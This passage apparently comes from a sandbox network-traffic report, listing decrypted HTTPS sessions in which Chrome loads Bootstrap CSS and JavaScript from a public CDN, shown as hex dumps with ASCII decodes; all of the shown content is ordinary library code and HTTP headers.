5d 3b 76 61 Data Ascii: l),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];va
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f Data Ascii: est(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirectio
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 22 2b Data Ascii: et:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+" "+
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c 69 3d Data Ascii: (y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",i=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49707	104.18.10.207	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:14:51 UTC	580	OUT	GET /bootstrap/4.5.2/css/bootstrap.min.css HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 13:14:51 UTC	931	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 13:14:51 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"816af0eddd3b4822c2756227c7e7b7ee" Last-Modified: Mon, 25 Jan 2021 22:04:11 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/31/2023 19:21:59 CDN-EdgeStorageId: 940 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 661a59f20240fbd0b3bba9437806c5bc CDN-Cache: HIT CF-Cache-Status: HIT Age: 838211 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 86b7e2b69c515788-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 13:14:51 UTC	438	IN	Data Raw: 37 63 31 30 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 35 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 66 Data Ascii: 7c10/! Bootstrap v4.5.2 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors * Copyright 2011-2020 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root{--blue:#007bff;--indigo:#6610f
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 72 79 3a 23 30 30 37 62 66 66 3b 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 23 36 63 37 35 37 64 3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b 2d 2d 77 61 72 6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 73 6d 3a 35 37 36 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6d 64 3a 37 36 38 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 30 30 70 78 3b 2d 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 2d 73 61 6e 73 Data Ascii: ry:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 64 6f 74 74 65 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6c 70 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 2d 73 6b 69 70 2d 69 6e 6b 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 2d 73 6b 69 70 2d 69 6e 6b 3a 6e 6f 6e 65 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 Data Ascii: dotted;text-decoration:underline dotted;cursor:help;border-bottom:0;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,u
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 6f 6c 6f 72 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 72 6f 6c 65 3d 62 75 74 74 6f 6e 5d 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 73 65 6c 65 63 74 7b 77 6f 72 64 2d 77 72 61 70 3a 6e 6f 72 6d 61 6c 7d 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2c 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b Data Ascii: olor}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}[type=button],[type=reset],[
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 2e 68 32 2c 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 2e 68 33 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 35 72 65 6d 7d 2e 68 34 2c 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 7d 2e 68 35 2c 68 35 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 68 36 2c 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 7d 2e 6c 65 61 64 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 7d 2e 64 69 73 70 6c 61 79 2d 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 36 72 65 6d 3b 66 6f 6e Data Ascii: ottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;fon
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 61 3e 63 6f 64 65 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 6b 62 64 7b 70 61 64 64 69 6e 67 3a 2e 32 72 65 6d 20 2e 34 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 31 32 35 32 39 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 72 65 6d 7d 6b 62 64 20 6b 62 64 7b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 70 72 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 32 31 32 35 32 39 7d 70 72 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b Data Ascii: a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 6c 2d 6d 64 2d 32 2c 2e 63 6f 6c 2d 6d 64 2d 33 2c 2e 63 6f 6c 2d 6d 64 2d 34 2c 2e 63 6f 6c 2d 6d 64 2d 35 2c 2e 63 6f 6c 2d 6d 64 2d 36 2c 2e 63 6f 6c 2d 6d 64 2d 37 2c 2e 63 6f 6c 2d 6d 64 2d 38 2c 2e 63 6f 6c 2d 6d 64 2d 39 2c 2e 63 6f 6c 2d 6d 64 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 73 6d 2c 2e 63 6f 6c 2d 73 6d 2d 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 30 2c 2e 63 6f 6c 2d 73 6d 2d 31 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 32 2c 2e 63 6f 6c 2d 73 6d 2d 32 2c 2e 63 6f 6c 2d 73 6d 2d 33 2c 2e 63 6f 6c 2d 73 6d 2d 34 2c 2e 63 6f 6c 2d 73 6d 2d 35 2c 2e 63 6f 6c 2d 73 6d 2d 36 2c 2e 63 6f 6c 2d 73 6d 2d 37 2c 2e 63 6f 6c 2d 73 6d 2d 38 2c 2e 63 6f 6c 2d 73 6d 2d 39 2c 2e 63 6f 6c 2d 73 6d 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 78 6c 2c 2e 63 6f 6c 2d 78 6c 2d 31 2c 2e 63 6f Data Ascii: l-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.co
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 6d 61 78 2d 77 69 64 74 68 3a 35 30 25 7d 2e 63 6f 6c 2d 37 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 35 38 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 35 38 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 38 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 39 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 31 30 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 Data Ascii: max-width:50%}.col-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-ms-flex:0 0 83.333333%;flex:0 0 83.33
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 69 76 65 3a 31 3b 66 6c 65 78 2d 67 72 6f 77 3a 31 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 31 3e 2a 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 32 3e 2a 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 35 30 25 3b 66 6c 65 78 3a 30 20 30 20 35 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 33 3e 2a 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 34 3e Data Ascii: ive:1;flex-grow:1;max-width:100%}.row-cols-sm-1>{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.row-cols-sm-2>{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.row-cols-sm-3>*{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-sm-4>
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 72 64 65 72 3a 2d 31 7d 2e 6f 72 64 65 72 2d 73 6d 2d 6c 61 73 74 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 31 33 3b 6f 72 64 65 72 3a 31 33 7d 2e 6f 72 64 65 72 2d 73 6d 2d 30 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 30 3b 6f 72 64 65 72 3a 30 7d 2e 6f 72 64 65 72 2d 73 6d 2d 31 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 31 3b 6f 72 64 65 72 3a 31 7d 2e 6f 72 64 65 72 2d 73 6d 2d 32 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 32 3b 6f 72 64 65 72 3a 32 7d 2e 6f 72 64 65 72 2d 73 6d 2d 33 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 33 3b 6f 72 64 65 72 3a 33 7d 2e 6f 72 64 65 72 2d 73 6d 2d 34 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 34 3b 6f 72 64 65 72 3a 34 7d 2e 6f 72 64 65 72 2d 73 6d 2d 35 7b 2d 6d 73 2d 66 6c 65 78 Data Ascii: rder:-1}.order-sm-last{-ms-flex-order:13;order:13}.order-sm-0{-ms-flex-order:0;order:0}.order-sm-1{-ms-flex-order:1;order:1}.order-sm-2{-ms-flex-order:2;order:2}.order-sm-3{-ms-flex-order:3;order:3}.order-sm-4{-ms-flex-order:4;order:4}.order-sm-5{-ms-flex

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49706	104.18.10.207	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:14:51 UTC	652	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 13:14:51 UTC	946	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 13:14:51 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-CachedAt: 10/31/2023 18:58:40 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 1048 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: f4f838df79fc133911a060d7c6bb0f5c CDN-Cache: HIT CF-Cache-Status: HIT Age: 838221 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 86b7e2b6c91e3885-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 13:14:51 UTC	423	IN	Data Raw: 37 63 30 32 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7c02/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 Data Ascii: ery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 3b 74 2b Data Ascii: n,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for(;t+
